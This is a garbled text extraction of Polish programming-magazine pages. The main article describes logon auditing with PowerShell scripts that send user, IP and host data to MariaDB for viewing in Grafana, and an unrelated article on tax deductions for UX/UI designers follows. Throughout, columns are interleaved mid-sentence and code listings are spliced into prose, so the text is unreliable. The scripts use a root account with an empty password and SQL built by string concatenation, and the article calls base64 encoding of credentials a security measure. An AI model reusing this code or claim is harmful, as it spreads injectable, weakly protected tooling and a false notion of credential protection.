na dla pracowników naszej firmy jest oparta głównie o rozwiązania
Microsoft. W dodatku użytkownicy pracują z domu i łączą się do
firmowej sieci z wykorzystaniem rozwiązań firmy Citrix. Następ-
nie trafiają do swoich zdalnych pulpitów, które bazują na rozwią-
zaniu Serwera Pulpitu Zdalnego (RDS) od Microsoftu. Inną opcją
jest logowanie na terminalach opartych, podobnie jak w przypadku
zdalnie pracujących pracowników, na farmie serwerów RDS. Praw-
Rysunek 5. Animacja odkrywania palców
dą jest, że w przypadku systemów od giganta z Redmond możemy
audytować logowania użytkowników za pomocą dziennika zdarzeń.
Tak przygotowana strona jest już gotowa. Następna czynność łączy Jednak wszyscy, którzy mieli okazję obcować z tym dostarczanym
się poniekąd z głównym przesłaniem tego artykułu, czyli faktem, że przez MS narzędziem, wiedzą, że ilość zdarzeń jest ogromna, a ich

{ WWW.PROGRAMISTAMAG.PL } <69>
PLANETA IT

filtrowanie zajmuje niekiedy mnóstwo czasu. Możemy także zdać się Mamy już webową aplikację do prezentacji logowań i miejsce w po-
na rozwiązania płatne, ale to wiąże się z dodatkowym oprogramowa- staci bazy danych, w którym będziemy gromadzić potrzebne nam
niem, które same w sobie może stać się zagrożeniem bezpieczeństwa. informacje. Trzeba jeszcze znaleźć sposób na pobieranie i przesyła-
Trzeba pamiętać, że ataki często przeprowadzane są na dane firmy nie tych danych do naszej bazy. W przypadku infrastruktury głów-
właśnie poprzez aplikacje trzecie. Mając za priorytet bezpieczeństwo nie opartej na systemach operacyjnych Microsoft możemy posłużyć
naszej infrastruktury, chcemy mieć jeden portal, w którym będziemy się PowerShellem. Musimy jednak pamiętać o wspomnianym już
mogli zbierać informacje o logowaniach, ilościach tych logowań itp. konektorze MySql.Data.dll. Konektor ten możemy pobrać ze strony
W razie gdyby okazało się, że jakiś login zbyt często się autoryzuje producenta w postaci instalatora MSI: https://www.mysql.com/pro-
lub jakieś administracyjne konto pojawia się w statystykach o godzi- ducts/connector/, a to oznacza, że w środowisku bazującym na Win-
nach i na serwerach, na których nie powinno, to będziemy w stanie dowsach możemy rozpropagować taką paczkę na wszystkie kompu-
takie zdarzenie wychwycić. Aby to zrobić, możemy oprzeć nasze roz- tery w domenie poprzez GPO. Możemy także za pomocą głównego
wiązanie o zaprezentowaną na Rysunku 7 aplikację webową Grafana. skryptu zaimplementować kopiowanie z zasobu sieciowego podczas
Dzięki niej będziemy w stanie w sposób graficzny, względnie szybki uruchomienia. Zawsze pozostaje też opcja jego ręcznego kopiowania
i intuicyjny przeglądać logowania. Możemy także przygotować goto- na wybrane serwery.
we filtry zbierające ilość logowań danego użytkownika w ostatnich
Listing 6. Skrypt w PowerShell do połączenia z bazą danych i przesyłania
24 godzinach czy pojawiające się odbiegające od norm loginy. Jednak informacji o logowaniach
aby to osiągnąć, potrzebujemy danych.
Add-Type -Path "C:\Audyt\MySQL.Data.dll"

$l = 'root'
$p = ''

$SQLServer = ""
$SQLDBName = "Audyt"
$h = $env:computername
$log = $env:UserName

if ($log) {
$ol = Get-WmiObject
Rysunek 7. Wygląd zebranych danych w Grafana Win32_NetworkAdapterConfiguration |
Select-Object IPAddress,MacAddress

$Ip = $ol | Select-Object -ExpandProperty


Grafana jako taka służy nam tylko do prezentacji informacji w spo- IPAddress
sób, w jaki tego chcemy. Dane, które mają się w niej znaleźć, najpierw $mc = $ol | Select-Object -ExpandProperty
MacAddress
musimy gdzieś zgromadzić. W tym przypadku zdecydowałem się $Ip2 = $Ip | Select-Object -First 1
$mc2 = $mc | Select-Object -First 1
na instancję bazy danych MariaDB, która może być zainstalowana
na tym samym serwerze, co Grafana. Może być to także na przykład if ($Ip2) {
$Command = New-Object MySql.Data.
MySQL, ale w zaproponowanym rozwiązaniu istotne jest to, aby MySqlClient.MySqlCommand
można było się połączyć z bazą danych za pomocą konektora My-
$conn = New-Object MySql.Data.
Sql.Data.dll. Spójrzmy w Listing 5, w którym zaprezentowany został MySqlClient.MySqlConnection("
server=$SQLServer;user id=$l;password=$p;
skrypt użyty do utworzenia bazy danych wraz z tabelą o nazwie user.
database=$SQLDBName")
Widać, że w tym przypadku baza jest bardzo prosta i ma zaledwie
$Command.CommandText = "INSERT INTO user
jedną tabelę z 6 kolumnami. Do kolumn id i ts nie musimy wpro- (Login,IP,hostname,mac) VALUES('$log',
wadzać danych z zewnątrz. id będzie typowym licznikiem, a zarazem '$Ip2','$h','$mc2')"

kluczem całej tabeli. Z kolei ts to kolumna, która wygeneruje time- $Command.Connection = $conn

stamp, czyli znacznik czasu, w którym pojawi się nowy wpis. Nale- $Command.Connection.Open()
$Command.ExecuteNonQuery()
ży pamiętać, aby serwer, na którym znajduje się baza danych, miał $Command.Connection.Close()
poprawny czas. W firmach z reguły nie stanowi to problemu, ponie- }
}
waż produkcyjne serwery powinny się synchronizować z serwerem
z usługą czasu NTP.
W Listingu 6 zaprezentowany został kod w PowerShellu, który za po-
Listing 5. Skrypt generujący bazę danych wraz z tabelami
mocą konektora połączy się i zapisze potrzebne nam dane. Na po-
CREATE DATABASE Audyt; czątku dodajemy wspomniany już konektor, jako klasę .NETowską.
CREATE TABLE user (
id int auto_increment, Następnie definiujemy takie zmienne jak login, hasło, adres serwera
login varchar(255) not null, z bazą, nazwę samej bazy danych, lokalną nazwę komputera i sys-
IP varchar(255),
hostname varchar(255), temowego użytkownika. Dalej, po sprawdzeniu, czy lokalna nazwa
mac varchar(255),
ts TIMESTAMP,
użytkownika istnieje, pobieramy z obiektu Win32_NetworkAdapter-
primary key(id) Configuration adres IP i MAC. W kolejnym kroku upewniamy się,
);
że pobraliśmy odpowiedni adres IP, i przechodzimy do połącze-
nia z bazą danych. W zmiennej $Command za pomocą wbudowanej
w konektor klasy tworzymy obiekt z informacją o połączeniu i sa-

<70> { 4 / 2021 < 98 > }


/ Programowanie napotyka cyberbezpieczeństwo /

Rysunek 8. Harmonogram zadań wraz z wyzwalaczami dla skryptu

mym zapytaniem do bazy. W zapytaniu tym umieszczamy pobrane certyfikatem, ale z doświadczenia wiem, że to dość mocno spowalnia
dane i na końcu zamykamy połączenie. działanie przy ponad 200 sesjach na jednym serwerze. Kolejną róż-
Kod zaprezentowany w Listingu 6 dotyczy jednak tylko kompu- nicą jest pobranie adresu IP z dziennika zdarzeń. Dzięki takiemu za-
terów, pojawia się więc pytanie, co z połączeniami zdalnymi, czyli biegowi będziemy posiadali adres IP, z którego łączy się użytkownik,
z połączeniami do sesji zdalnych użytkownika? To dość ciekawe za- a nie adres serwera hostującego sesję. Ponadto należy się upewnić, że
gadnienie, ponieważ gdybyśmy użyli naszego skryptu na serwerach adres nie jest podobny do tych z puli adresów przypisanych do farmy
sesji terminalowych, to oczywiście w bazie danych byłby login, czas serwerów terminalowych. Warto także wspomnieć, że rezygnujemy
logowania, ale jako nazwę i adres IP dostalibyśmy dane serwera, a nie w tym przypadku z pobrania MAC adresu.
komputera czy terminala, z którego użytkownik się łączył. Dlatego
Listing 7. Skrypt w PowerShell do połączenia z bazą danych i przesyłania
w przypadku farmy RDS musimy zmienić podejście. Po pierwsze, informacji o sesjach
musimy umożliwić użytkownikom odczyt domeny dziennika zda-
Add-Type -Path "C:\Audyt\MySQL.Data.dll"
rzeń bezpieczeństwa C:\Windows\System32\winevt\Logs\Security. $l = [System.Text.Encoding]::UTF8.GetString(
evtx. Po drugie, skrypt taki dodać trzeba jako wykonywany, zgodnie [System.Convert]::FromBase64String(""))
$p = [System.Text.Encoding]::UTF8.GetString(
z tym, co przedstawiono na Rysunku 8. [System.Convert]::FromBase64String(""))
Ważne jest również, aby zadanie mogło być wykonane przez $SQLServer = ""
każdego użytkownika domeny, a także by każde wywołanie było $SQLDBName = "Audyt"
$h = $env:computername
asynchroniczne. Dzięki temu nasz skrypt będzie się wykonywał za $log = $env:UserName
każdym razem, gdy loguje się nowa sesja pracownika, ale także gdy $logObj = '';
użytkownik pulpitu zdalnego podłączy się ponownie do swojej już $result = '';
$LogOnEvents = '';
istniejącej na serwerze sesji. W Listingu 7 przedstawiono zmodyfiko-
if ($log) {
wany skrypt do wyciągania potrzebnych nam informacji i umieszcza- $LogOnEvents = Get-WinEvent -filterHashtable
nia ich w bazie danych. Zważywszy na to, że jest to bardzo podobny @{Path='C:\Windows\System32\winevt\
Logs\Security.evtx'; Id=4624; Level=0} |
skrypt do tego zaprezentowanego w Listingu 6, skupmy się tylko na Where-Object{ $_.Properties[8].Value -eq
różnicach. Pierwszą zmianą rzucającą się w oczy jest dekodowanie 10 -AND $_.Properties[18].Value -ne
$null -AND $_.Properties[5].value -eq
zapisanego loginu i hasła użytkownika logującego się do bazy da- $env:UserName} | Select-Object -First 1
nych. Trzeba pamiętać, że PowerShell to język skryptowy, który dość $Ip = $LogOnEvents.Properties[18].value
łatwo można „podejrzeć” podczas wykonywania i takie drobne za- $logObj = $Ip
$result = $result + $logObj
biegi na pewno poprawią bezpieczeństwo samego skryptu, a przecież
if ($result -notlike "192.168.100.*") {
głównym tematem tego artykułu jest cybersecurity. Pamiętanie o za-
$result | Out-File \\logon\$env:UserName
bezpieczaniu narzędzi, które tworzymy, jest tutaj kluczowe. W final- \OstatniRDS.txt
nej wersji można by było pokusić się nawet o zakodowanie całości

{ WWW.PROGRAMISTAMAG.PL } <71>
PLANETA IT

$Command = New-Object MySql.Data. przestępcy mają możliwość zamontować sprzęt przechwytujący lub
MySqlClient.MySqlCommand
skanujący. W sytuacji, w której jedna dioda przestałaby być widoczna
$conn = New-Object MySql.Data.MySqlClient.
MySqlConnection("server=$SQLServer;user dla użytkownika, istniałaby szansa, granicząca z pewnością, że umysł
id=$l;password=$p;database=$SQLDBName") by zareagował. Walka z automatyzmami jest bardzo ważna w świecie
$Command.CommandText = "INSERT INTO bezpieczeństwa, a kto, jak nie programiści, powinni być tymi, którzy
user (Login,IP,hostname)
VALUES('$log','$result','$h')"
wytwarzają odpowiednie oprogramowanie? Wielu z nas często jed-
nak zapomina, że jesteśmy także tymi, którzy powinni takie rozwią-
$Command.Connection = $conn
zania wyszukiwać i proponować. To właśnie dzięki takiemu podej-
$Command.Connection.Open()
$Command.ExecuteNonQuery() ściu Elon Musk zmienia nasz świat.
$Command.Connection.Close() Nie ukrywam, że pisząc ten artykuł, towarzyszyła mi nadzieja, że
}
} uda mi się zainteresować czytelnika tematem cybersecurity i przed-
stawić podejście, jakie moim zdaniem powinno charakteryzować
Nic nie stoi na przeszkodzie, aby podobny skrypt napisać dla syste- ukierunkowanego na bezpieczeństwo programistę. W świecie IT
mów Linux na przykład w Pythonie i za jego pomocą zbierać podob- często bywa tak, że dział, który pierwotnie zajmuje się jednym tema-
ne informacje. Dla odważnych na wirtualnym stole jest także opcja tem, po jakimś czasie rozrasta się do wielkości drzewa z wieloma ga-
instalacji PowerShella na Linuksie... Dodanie funkcji sprawdzającej, łęziami. Nie inaczej jest w tym przypadku. Cybersecurity to obecnie
czy zapytanie wykonało się poprawnie, obsługa błędów czy odkłada- bezpieczeństwo sieci, komputerów, infrastruktury, ale także mento-
nie logów z samych wykonań skryptu to już jednak temat na inny ring pracowników i szkolenia z zakresu poznawania i radzenia sobie
artykuł. Zaproponowane kody to tylko przykłady, że programiści po- z zagrożeniami. Wymieniłem tylko kilka przykładów. Cybersecurity
winni udzielać się na każdym kroku i wspierać cyberbezpieczeństwo jest jeszcze na tyle młodą dziedziną, że nie ma jasno zdefiniowanej
swoją wiedzą i umiejętnościami. Kto, jak nie my ze swoim nieszablo- granicy, ale czy tak naprawdę kiedykolwiek będzie ją mieć?
nowym spojrzeniem na świat, powinien to czynić? Cybersecurity to Moim celem było pokazanie, że nie zawsze musimy pisać wszyst-
nadal młoda i nie do końca ukształtowana dziedzina IT, którą moż- ko od zera, a liczy się pomysł i umiejętność znalezienia rozwiązania.
na śmiało przyrównać do nowo rozpoczętej pracy, w której mamy W przypadku bezpieczeństwa i edukowania użytkowników często
do czynienia z zespołem ludzi, którzy muszą zmierzyć się z nowym wystarczą względnie proste rozwiązania, aby osiągnąć zamierzony
projektem, będącym wyzwaniem także dla samej firmy. Mamy moż- efekt. W artykule omówiliśmy dwa scenariusze. Pierwszy z nich to
liwość sami definiować, gdzie leżą granice i z jakich technologii bę- swego rodzaju eksperyment polegający na zbudowaniu prostego for-
dziemy korzystać. Zatem wszystkie ręce na klawiaturę, bo jeśli nie mularza internetowego, który wyposażyliśmy w interaktywne akcje
zadbamy o bezpieczeństwo i nie dołożymy swojej linijki kodu, to już mające na celu skupić uwagę użytkownika na tym, co i gdzie wpi-
całkiem niedługo może się okazać, że nasze aplikacje oraz rozwiąza- suje. W drugim scenariuszu posłużyliśmy się językiem skryptowym
nia będą podatne na włamania. PowerShell, ale także wykorzystaliśmy gotowe rozwiązania, takie jak
To właśnie dzięki tego typu zadaniom napotkanym w świecie IT baza danych MariaDB czy platforma Grafana. W obydwu przykła-
widać jak na dłoni, że Informatyka to przełożenie świata realnego dach starałem się kłaść nacisk nie tyle na samo rozwiązanie, co na
na wirtualny i to wraz z problemami tego pierwszego. Weźmy taki przekazanie sposobu myślenia, jaki powinien nam towarzyszyć na co
przykład: Korzystając z bankomatów, jako urządzeń do wpłacania dzień. Dzięki niemu nie tylko będziemy w stanie zdiagnozować pro-
i wypłacania pieniędzy, zostaliśmy w pewnym momencie zbombar- blemy cybersecurity w naszej firmie, ale i nasze wdrożenia staną się
dowani wiadomościami o złodziejach pinów i kopiowanych kar- bezpieczniejsze.
tach. W Polsce odbywały się całe kampanie mające na celu eduko-
wać społeczeństwo w temacie bezpieczeństwa pinu. Byliśmy także
informowani, że należy uważać na montowane przez przestępców
kamery skierowane na klawiatury. Jesteśmy jednak gatunkiem, któ-
ry szybko zapomina, a nasz umysł ulega automatyzmom i pamięci
mięśniowej. Z tego powodu bankomaty zostały przeprojektowane
W sieci
i dodane zostały osłonki na klawiatury. Pytanie, czy nie lepszym » https://github.com/kafej/Programista_Mis
» https://github.com/kafej/Programista_Audyt
rozwiązaniem byłyby 3 diody znajdujące się w miejscach, w których

MICHAŁ ZBYL
michal.zbyl@gmail.com

Artykuł napisany został przez wariata, na co dzień pracownika UBS, w którym projektuje i wdraża mały bank w dużym banku.
Dla śmieszności wydarzeń wystarczy dodać, że planuje, konfiguruje i wdraża Infrastrukturę IT od sieci po całe serwerownie
tu i tam. Stawia na VMware i uważa, że kontenery nie sprawdzają się wszędzie. Czasem żeby udowodnić, że na pewno wariat,
zaliczy sobie taki czy inny certyfikat z języka japońskiego.

<72> { 4 / 2021 < 98 > }


PRAWO

Jak rozumieć pojęcie: „działalność twórcza w zakresie


[…] programów komputerowych”?
Krajowa Informacja Skarbowa potwierdziła, że tworzenie programów komputerowych nie pole-
ga wyłącznie na pisaniu kodu źródłowego. Zgodnie z tym stanowiskiem m.in. UX/UI Designerzy
mogą być obejmowani podwyższonymi 50 proc. kosztami uzyskania przychodów.

U ser Experience Designer to stosunkowo nowy zawód, który po-


wstał w odpowiedzi na coraz większe wymagania konsumen-
tów co do użytkowania produktów, w szczególności aplikacji i stron
cym na pisaniu kodu źródłowego”. Organ ten spośród kluczowych
czynności przy projektowaniu oprogramowania wymienia „tworze-
nie specyfikacji, projektowanie architektury programu, implemen-
internetowych. Obok pojawili się także User Interface Designerzy, tację, integrację, testowanie, a także wdrożenie oprogramowania”.
nierzadko łączeni ze specjalistami UX, choć skupiający się na nie- Co ważne, poprzednie interpretacje indywidualne potwierdzające,
co innym obszarze projektowania. Obie te specjalizacje łączy jedno że przychody UX/UI Designerów mogą zostać objęte 50 proc. kosz-
– wynikające z nich działania są istotną częścią procesu twórczego tami uzyskania przychodów, opierały się głównie na założeniach
w branży IT, gamedev oraz innych pokrewnych. i twierdzeniach wnioskodawców, że praca tych specjalistów jest
działalnością twórczą w zakresie programów komputerowych. Tym-

50% KOSZTY UZYSKANIA PRZYCHODU czasem najnowsza interpretacja indywidualna Krajowej Informacji
Skarbowej wyjaśnia szeroki zakres pojęcia „działalności twórczej
DLA BRANŻY IT w zakresie programów komputerowych”, co zgodnie z jej treścią „do-
Zgodnie z art. 22 ust. 9 pkt 3 ustawy o PIT koszty uzyskania przycho- tyczy korzystania i rozporządzania prawami autorskimi do wszelkich
du „z tytułu korzystania przez twórców z praw autorskich i artystów utworów, które powstają w związku z działaniami podejmowanymi
wykonawców z praw pokrewnych, w rozumieniu odrębnych przepi- w celu stworzenia programów komputerowych”. Stanowisko to może
sów, lub rozporządzania przez nich tymi prawami” są równe 50 proc. ułatwić stosowanie podwyższonych kosztów przychodu kolejnym
uzyskanego przychodu. Wśród działalności twórczej objętej ulgą wy- specjalistom z branży IT, biorącym udział w skomplikowanych pro-
mienia się m.in. działalność w zakresie programów komputerowych. cesach twórczych w zakresie programów czy gier komputerowych.
Problemem jest jednak brak zdefiniowanego pojęcia „działalności
w zakresie programów komputerowych” zarówno w ustawie o PIT,
KOMENTARZ AUTORA
jak i w jakimkolwiek innym akcie prawnym. Już pierwsze interpre-
tacje rozwiały wątpliwości, że 50 proc. koszty uzyskania przychodu Wnioskując o wydanie interpretacji indywidualnej w sprawie moż-
mogą być stosowane nie tylko przez programistów, ale także przez ana- liwości zastosowania 50 proc. kosztów uzyskania przychodu w sto-
lityków programów komputerowych, grafików, product ownerów czy sunku do UX/UI Designerów, mieliśmy świadomość, że szereg wyda-
web­developerów, jednak szybko rozwijająca się branża IT stawia przed nych już interpretacji potwierdza taką możliwość. Chcieliśmy jednak
Krajową Informacją Skarbową kolejne wyzwania w postaci wniosków zabezpieczyć klienta poprzez potwierdzenie w interpretacji szeroko-
o wydanie interpretacji w interesie nowych specjalizacji i zawodów ści definicji „działalności twórczej w zakresie programów kompute-
twórczych. Tak było w przypadku pracodawców zatrudniających spe- rowych”. W mojej ocenie wydana interpretacja ma duże znaczenie
cjalistów do projektowania produktów w zakresie UX/UI, którzy mieli dla całej branży IT oraz gamedev, gdyż potwierdza, że za taką dzia-
wątpliwości, czy ten typ pracy może być uznany za działalność twórczą łalność – w rozumieniu przepisów podatkowych – można uznać
w zakresie programów lub gier komputerowych, i obawiali się, że za- bardzo szeroki zakres prac wykonywanych w trakcie procesu pro-
stosowanie 50 proc. kosztów uzyskania przychodu zostanie zakwestio- jektowego. Utrwalenie takiego podejścia może mieć wpływ nie tylko
nowane w razie kontroli skarbowej. Dotychczas wydane interpretacje na szerszą możliwość stosowania podwyższonych kosztów uzyskania
indywidualne potwierdzają prawo UX/UI Designerów do stosowania przychodu w branży IT, ale potencjalnie na rozszerzenie grupy pod-
zmniejszonej podstawy opodatkowania. Jednak żadna z tych interpre- miotów, które będą mogły skorzystać z ulgi IP Box.
tacji nie odnosi się wprost do definicji „działalności twórczej”.

DZIAŁALNOŚĆ TWÓRCZA W ZAKRESIE JAKUB SZKUTNIK


PROGRAMÓW KOMPUTEROWYCH
j.szkutnik@paluckiszkutnik.pl
Z interpretacji indywidualnej wydanej przez KIS1 na wniosek jednej Adwokat, wspólnik Kancelarii Adwokackiej
z firm branży IT wynika, że „tworzenie oprogramowania w ramach Pałucki & Szkutnik w Krakowie. Specjalista
prawa spółek handlowych, prawa korporacyj-
działalności Wnioskodawcy nie jest wyłącznie procesem polegają-
nego, procesów inwestycyjnych i kontraktów.
1. Pismo z dnia 24 czerwca 2021 r. Dyrektor Krajowej Informacji Skarbowej
Doradca dla podmiotów z branży IT pod brandem
0115-KDWT.4011.54.2021.2.KW Legalcheck.pl.

<74> { 4 / 2021 < 98 > }

You might also like